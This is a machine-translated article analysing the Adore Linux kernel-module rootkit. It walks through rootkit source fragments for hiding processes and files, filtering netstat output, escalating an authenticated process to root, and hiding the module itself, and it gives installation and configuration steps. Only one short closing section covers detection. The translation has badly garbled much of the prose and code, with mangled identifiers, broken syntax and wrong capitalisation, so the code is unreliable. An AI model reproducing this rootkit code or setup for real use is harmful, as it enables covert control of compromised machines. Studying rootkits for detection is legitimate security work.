Adore rootkit analysis

xiaoxiao2021-03-06  71

Typically LKM is used to provide additional functions for the system without recompiling kernels, such as loading device drivers and other hardware drivers. Operating systems such as Linux, Solaris and BSD (Free, Net, and Open) make certain functions of the system to load the kernel module. Some rootkit can use this mechanism to run themselves as the loadable module of the kernel, deceive the application in the kernel layer, without modifying the application itself, so there is better concealment than traditional rootkit. LKM rootkit is now available, for example: SLKM, KNARK, and ADORE. This article analyzes Adore Rootkit (Note: Adore Rootkit is not an adore worm).

ADORE is a Linux LKM (Loadable Kernel Module) rootkit. The author is Stealth. Can be used for the kernel of Linux-2.2.x and Linux-2.4.x series. Its core part is a LKM called Adore.o. In addition, there is a module Cleaner.o, a control tool AVA, and a startup script Startadore.

The source code of the Adore includes the following files:

Changelog

License

Makefile.gen <- This file can be used if the Configure script does fail

Readme

Todo

Adore.c <- ADORE. module Source code

ADORE.H

Ava.c <- Control Command

Cleaner.c <- The source code of the Cleaner.o module for hiding the Adore module

Configure <- Install script

Dummy.c

Libinvisible.c <- libinvisible is an interface between AVA and ADORE modules

Libinvisible.h

Rename.c

STARTADORE <- Start the script

2.adore module

As we said, the core part of Adore Rootkit is an adore.o module. In this module, by counterfeiting some system calls, the hidden / reproduction / reproduction, control process (AVA) of the process (AVA), and the hidden hidden function of the process (AVA) are implemented by counterfeiting some system calls. The functions in this module can be divided into:

1. Forged system call

Adore Rootkit uses the following functions to replace true system calls: n_getdents, n_clone, n_kill, n_write, n_close, n_mkdir, n_oldstat, n_eldlstat, n_stat, n_lstat, n_stat64, n_lstat64, n_open. These functions are basically true related system call packages.

2. Initialization of the module, unload function (init_module, cleanup_module)

Perform an initialization of the ADORE module (using a forged system call replacing the original system call) and the cleaning of the module (restore the original system call, etc.).

3. Trojan function

Includes: hide_process, remove_process, unhat_process, strip_invisible, unstrip_invisible. These functions implement the process hidden, delete, and reproduce functions by modifying some of the information control blocks (task_struct) of the specified process.

4. Other auxiliary functions and macro

Includes functions: my_atoi, my_find_task, is_invisible, is_secret, is_secret64, fp_put, fp_get, and macros: Replase, Restore.

2.1. The initialization and unload function of the ADORE module

Adore's initialization function init_module

INT init_module (void)

{

Struct Task_struct * p = current; / * Current process * / lock_kernel ();

EXPORT_NO_SYMBOLS; / * No symbols required by other modules, do not export symbols to module symbols * /

For (; p-> pid! = 1; p = p-> next_task) / * Look for init (No. 1) process * /

;

INIT_HOOK = P;

/ * Save the location of the init process to specify the position of the for_each_task (adore.h) macro to search * /

.

Replace (Write);

Replace (getDents);

/ * Modify the system call table (SYS_CALL_TABLE) to use the forged system to call the replacement true system call * /

/ * The real system call is renamed (eg o_write) * / by the O_ system call name.

.

}

Cleanup_module function

This function is re-recovering the true system call when the ADORE module is uninstalled.

2.2. Trojan function

2.2.1.Hide_Process / UnHide_Process / Remove_Process

These three functions are used to hide (hide_process) and reproducing (unhat_process) / delete (remote_process) processes. ADORE is introduced into two process signs: PF_INVISIBLE and PF_AUTH in the process flag (task_struct.flags defined in the include / linux / sched.h file). If the PF_INVISIBLE bit of the process control block flag is set, it means that the process cannot be displayed. Process logo PF_AUTH is used to limit the operation of the hidden process, and can only have a PF_AUTH process flag to have some operational permissions (for example: kill) that is hidden, and if not verified, the user is only to the system To the NR_TASKS number process issues a sigvisible signal, it is easy to expose the prototype by the Adore hidden process.

BTW, the verification of the process is done by the forged system variable Mkdir, and the specific verification process will explain in detail in the AVA section.

When the user performs system calls related to the process, the forged system call checks if the two flags of the process control block flag domain of the process have been set, thus determining whether the operation for this process is performed. Let's take a look at the source code of these two functions.

Hide_process

INT HIDE_PROCESS (PID_T PID)

{

Struct Task_struct * p;

IF (PID <= 1)

Return -1;

/ * Enter any operation for iDLE (0) processes and init (1) process * /

IF ((p = my_find_task (pid)) == NULL)

Return -1;

P-> Flags | = (PF_INVISIBLE | PF_AUTH);

/ * Put the process logo is hidden, and this process also has permission to operate on the hidden process * /

Return 0;

}

UnHide_Process

Int unhat_process (PID_T PID)

{

Struct Task_struct * p = my_find_task (pid);

IF (! p)

Return -1;

P-> Flags & = ~ (PF_INVISIBLE | PF_AUTH);

/ * Clear the PF_INVISIBLE and PF_AUTH flags of the process control block * /

Return 0;

}

REMOVE_PROCESS

Int Remove_Process (PID_T PID)

{

Struct Task_struct * p;

IF (PID <= 1)

Return -1;

/ * Do not allow deletion of IDLE and INIT processes * /.

IF (p-> p_cptr! = null)

Return -1;

/ * The process of a child process cannot be deleted * /

REMOVE_LINKS (P);

/ * Remove_links () macro comes from the Sched.h file to delete a process control block from the task_struct linker * /

.

2.2.2.Strip_invisible (), unstrip_invisible () function

The effect of the strip_invisible () function is to hide the process directory from the / proc file system. There is no PID = 0 directory in the / proc file system (SWAPPER process) directory, this function uses this, modify the process PID to 0, to achieve the purpose of hiding the process in the / proc file system, the original process number (PID ) The exit_code domain saved in the process control block; the unstrip_invisible () function performs the opposite operation, recovering the process in the / proc file system. This processing of ADORE can increase the speed of both N_GETDENTS and N_GETDENTS to a certain extent.

2.3. Forged system call

In the ADORE module, some system calls for processes and file / directory operations are implemented, and these forged system calls have achieved hidden purposes.

2.3.1. System calls related to the process

Siginvisible, SigVisible and Sigremove

In the Adore.h header file, three signals SIGINVISible, SigVisible, and Sigremove, Adore implements the process hidden, reproduces, and delete through these three signals.

N_fork

Used to replace the Fork system call, first check the process of executing this system call, if this process is hidden, its sub-process must also be hidden.

INT N_FORK (Struct Pt_Regs Regs)

{

PID_T PID;

INT HIDE = 0;

LOCK_KERNEL ();

IF (is_invisible (current-> pid))

hide;

/ * Check if the process of executing the FORK system call is set to set a PF_INVISIBLE flag * /

PID = o_fork (regs);

/ * Perform a real Fork system call * /

IF (hide && pid> = 0)

HIDE_PROCESS (PID);

/ * If the parent process is invisible, hidden sub-process * /

unlock_kernel ();

Return PID;

}

N_clone

Package Linux unique system calls sys_clone, execution process and n_fork almost identical, just use O_Clone instead O_FORK.

N_kill

Encapsulation Kill system call.

INT N_KILL (PID_T PID, INT SIG)

{

.

IF (SIG! = Siginvisible && Sig! = SigVisible && Sig! = Sigremove) {

.

IF (is_invisible (pid) &&! is_invisible (current-> pid) &&

Current-> PID! = 1)

Ret = -esrch;

Else

RET = O_KILL (PID, SIG);

/ * The signal sent by the current process is not Siginvisible, SigVisibl, Esigremove * /

/ * And the current process is not a rootkit (non-invisible process) and is not an init process * /

/ * Refuse to send signal * /

.

}

IF ((current-> flags & pf_auth)! = pf_auth) {RET = -esrch;

Goto Out;

}

/ * If the process of SigInvisible, SigVisible, Sigremove signal is not AVA or other verification * /

The program of / * refuses to send signals to it * /

.

IF (SIG == Siginvisible)

RET = HIDE_PROCESS (PID);

Else IF (SIG == Sigremove)

RET = Remove_Process (PID);

Else

RET = UnHide_Process (PID);

/ * Handling SigInvisible, SigVisible, Sigremove Signal * /

.

}

2.3.2. System calls related to file / directory

Redirfile structure

The RedirFile structure saves file redirection information. Through the redirection of the file, it is easy to escape the detection of the data integrity detection tool. For example, an attacker uses his own LS command instead of the / bin / ls file, saving the original file as / tmp / ls, then all the operations of the / bin / LS file are redirected to / TMP / LS. At this time, you can have questions. Since the file is set, then when we perform Trojan command / bin / ls, is it also redirected to / TMP / LS to execute the original command? This doesn't have to worry that the Execve class system call is in the kernel space, which does not use the Open of the user space, so when performing a Trojan, it will not be redirected.

BTW, when starting using Adore, just load the Adore module using the Insmod Adore.o command, I will not use the LS command (Command Not Found). This is because in the Adore.h file:

Struct redirfile redir [] = {

{"/ bin / ls", "/ tmp / ls"},

{"/ TMP / 1", "/ TMP / 2"},

{Null, null}

}

Whenever the shell is to load / bin / ls, you will first use the system calls such as STAT to find / TMP / LS will return.

If you want to act using Adore Rootkit, you must modify the above definition according to your situation. The prototype of this structure is as follows:

Struct redirfile {

Char * Requested; / * Request file name * /

Char * redirected; / * Redirected file name * /

}

Regarding the file redirection, Adore is not very perfect, it may have a better way: P

Elite_cmd, adore_key and elite_uid

Before you introduce the function, you need to introduce a number of constants that should be set before compiling: Elite_cmd, Adore_Key and Elite_UID. Elite_cmd is used to pass control commands to the Adore module (see n_close); Elite_UID sets the primary Rootkit owner (see IS_Secret); and Adore_Key is used to verify the process using the Adore function (see n_mkdir).

Hidden_Services

This constant defined in the adore.h file also needs to modify according to the actual situation when using Adore. Hidden_Services is used by n_write functions to block NetStat from outputting the back door port. Format (you can refer to NetStat output :) :)

": Service name (or port)" NULL

n_open () function

Package OPEN system call, if the file appears in the Redir (Struct Redirfile), redirect to another file (reddir []. Redirected). Then, call the true SYS_OPEN (O_Open). n_oldstat, n_oldlstat, n_stat, n_lstat, n_stat64, n_lstat64

These system calls (OldStat, Oldlstat, Stat, LSTAT, STAT64, LSTAT64) are used to get file status. Before performing real operations, they check that files appear in Redir (Struct Redirfile), if so, redirect to additional files (reddir []. Redirected). Then perform a real related system call. If you want to know more detailed information about these system calls, please refer to the relevant man page.

n_getdents and n_getdents64

The GETDENTS system call is used to get the directory entry, which is an alternative to the ReadDir system call. Adore Rootkit supports 64-bit systems, n_getdents64 is for 64-bit Linux systems (other suffixes 64 for fake system calls are also), here we only introduce N_GETDENTS. In this function, the special process is first made for the PROC file system, and then the true GETDENTS (O_GETDENTS) is called, and finally clear the entry that requires hidden.

INT N_GETDENTS (unsigned int FD, Struct Dirent * DIRP, UNSIGNED INT COUNT)

{

.

SB = file-> f_denTry-> D_SB;

Dinode = file-> f_dentry-> d_inode;

/ * Get this directory super block and index node * /

IF (Dinode-> i_ino == proc_root_ino)

PROC = 1;

/ * Is it in the / PROC file system? * /

IF (Proc)

Strip_invisible ();

/ * If it is in the / proc file system, call strip_invisible () processing * /

Ret = O_GETDENTS (FD, DIRP, Count);

/ * Call the real getDents * /

IF (Proc)

Unstrip_invisible ();

/*Back to normal*/

.

While (PTR <(char *) orig_d r) {

Curr = (struct Dirent *) PTR;

OFFSET = CURR-> D_Reclen;

/ * D_reclen's D_Reclen saved the length of this Dirent structure * /

IF (IS_Secret (SB, Curr) {

/ * Check if the current directory needs to be hidden * /

IF (IS_Secret (SB, Curr) '(Proc && Is_Invisible (my_atoi (curr-> d_name)))))

IF (! prev) {

RET - = OFFSET;

D = (Struct Dirent *) ((char *) D offset;

/ * If this entry is the first to delete it * /

} else {/ * is not the first entry * /

Prev-> D_Reclen = Offset

MEMSET (Curr, 0, Offset);

}

Else

Prev = CURR;

PTR = OFFSet;

}

.

}

N_mkdir

N_mkdir encapsulates the MKDIR function, and this function is also used to verify the process using the Adore function. IF (strcmp (key, adore_key) == 0) {

Current-> flags | = pf_auth;

/ * Adore_key is a string set at compile time to verify that the process has permission to use Adore's functionality * /

n_write

This function is mainly to block the NetStat process from outputting information about Adore. Its process is as follows:

Check if the current process is NetStat.

Filter all the output lines that contain strings set by Hidden_Services.

Call the true SYS_WRITE (O_WRITE) to output information through the check.

N_close

This function is also a more important function in Adore. In addition to being able to call execution of normal SYS_CLOSE (O_Close) to turn off file descriptors, there are also functions that enhance the rearward process permissions, uninstall the ADORE module, and check if the Adore module is running.

INT N_CLOSE (Unsigned Int FD)

{

Int r;

LOCK_KERNEL ();

Switch (fd) {

Case Elite_cmd: / * Enhance the authority of the latter process * /

IF (Current-> Flags & Pf_Auth)! = pf_auth) {

r = -eperm;

Break;

}

Current-> uid = current-> euid = 0;

Current-> GID = Current-> EgId = 0;

Current-> suid = current-> sgID = 0;

Current-> fsuid = current-> fsgid = 0;

/ * Make the rear door process to run with root's permissions * /

CAP_T (Current-> CAP_EFFECTIVE) = ~ 0;

CAP_T (Current-> CAP_INHERITABLE) = ~ 0;

CAP_T (Current-> CAP_PERMITTED) = ~ 0;

/ * Set the current process about the domain of Capability * /

R = 0;

Break;

/ * Uninstall ADORE module * /

Case Elite_cmd 1:

IF (Current-> Flags & Pf_Auth)! = pf_auth) {

r = -eperm;

Break;

}

R = cleanup_module ();

Break;

/ * Check if the ADORE module has been installed * /

Case Elite_cmd 2:

IF (Current-> Flags & Pf_Auth)! = pf_auth) {

r = -eperm;

Break;

}

r = adore_version;

Break;

DEFAULT:

R = O_Close (FD);

Break;

} / * Perform normal shutdown operation * /

unlock_kernel ();

Return R;

}

2.4. Other functions

IS_INVISIBLE

Check if the process is hidden.

IS_Secret and IS_Secret64

Check if the owner of the file or directory is Elite_UID, if it is, it should be hidden.

3.CleaNer module

Adore Rootkit uses the CleaNer module to hide the ADORE module. The Cleaner Module uses two lines in the init_module function, remove the Adore module from module_list, and implements the purpose of hiding the Adore module:

IF (__this_module.next)

__this_module.next = __this_module.next-> next; this implementation is very simple and effective, but it is too crude, too inexpensive: P. It destroys the data structure of the system kernel, which is likely to cause the system's crash. Moreover, this is clearly there are some competitive conditions. After installation of the Adore module, the installation of the CleaNer module can be installed to hide the purpose of the Adore. The author also provides a script called Startadore in the released source code. This script actually only three lines:

Insmod adore.o

Insmod cleaner.o

RMMOD CLEANER

4.Adore rootkit control program AVA

AVA is an Adore Rootkit control program that allows users to use AVA to control the behavior of the ADORE module. AVA supports the following options:

USAVA {H, U, R, R, I, V, U} [File, PID or Dummy (for u)]

h hidden files (Hide file

u reproduces file (Hide file)

r Run a program with root (Execute as root)

R I will delete a process (Remove Pid Forever)

U Uninstall Adore Module (Uninstall Adore)

i hide a process (Make Pid Invisible)

v Let a process reproduction (Make Pid Visible)

4.1. Initialization of AVA

AVA first has to verify the ADORE module. After verification, Adore upgraders your permissions to root. These two steps are completed by MKDIR and COLS system calls, specific verification and permissions, we have already said in front. : P

4.2. Command Options

After figured out the various functions of the Adore module, you can easily understand how the various command options of the AVA are implemented: P

Hide file

Change the owner who needs hidden files or directory to Elite_UID.

Reproduce file

Change the owner of the file to root.

Hidden process

When you send a siginvisible signal to the process you need to hide, after entering the kernel space, call the Hide_Process hidden process by n_kill.

Delete process

The SIGREMOVE signal is issued to the deleted process, and the REMOVE_PROCESS delete process control block is called by N_KILL after entering the kernel space.

Reproduction process

Send a sigvisible signal to the process, and the work is completed by the forged system call N_KILL.

Perform a program with root privileges

Execute an Execve system call in AVA.

5.Adore installation

It is very easy to install Adore Rootkit above.

First, for the actual situation, modify the RedIr and Hidden_Services in the Adore.h header file.

Run configure script

The Make command is executed.

Install Adore with the Startadore script.

Please refer to its ReadMe file for details.

6.adore detection

Since Adore uses LKM count, it is very difficult to detect. However, there is already a tool for detecting LKM type rootkit, Kstat is a very good tool. For the use of KSTAT, please refer to the article on this site.

In addition, if it is invaded by ADORE, it is best to use a kernel that does not support LKM, so that the ADORE module will lose its role. It is not yet: P.

in conclusion

It seems to be said before: P, but in order to maintain the integrity of the article, it is still added. There is a symphony called the Tao, the magic is one feet, in the security field, constantly has new technologies to be used in rootkit. In the recently released Phrack 58, SD (SD@sf.cz) and Devik (Devik@cdi.cz) do not have to implement the kernel layer rootkit (Linux on-fly kernel Patching without LKM, Phrack Volume 0x0b, Issue 0x3a, Technique of Phile # 0x07 of 0x0E). Reprinted: LinuxAid

转载请注明原文地址:https://www.9cbs.com/read-120640.html

New Post(0)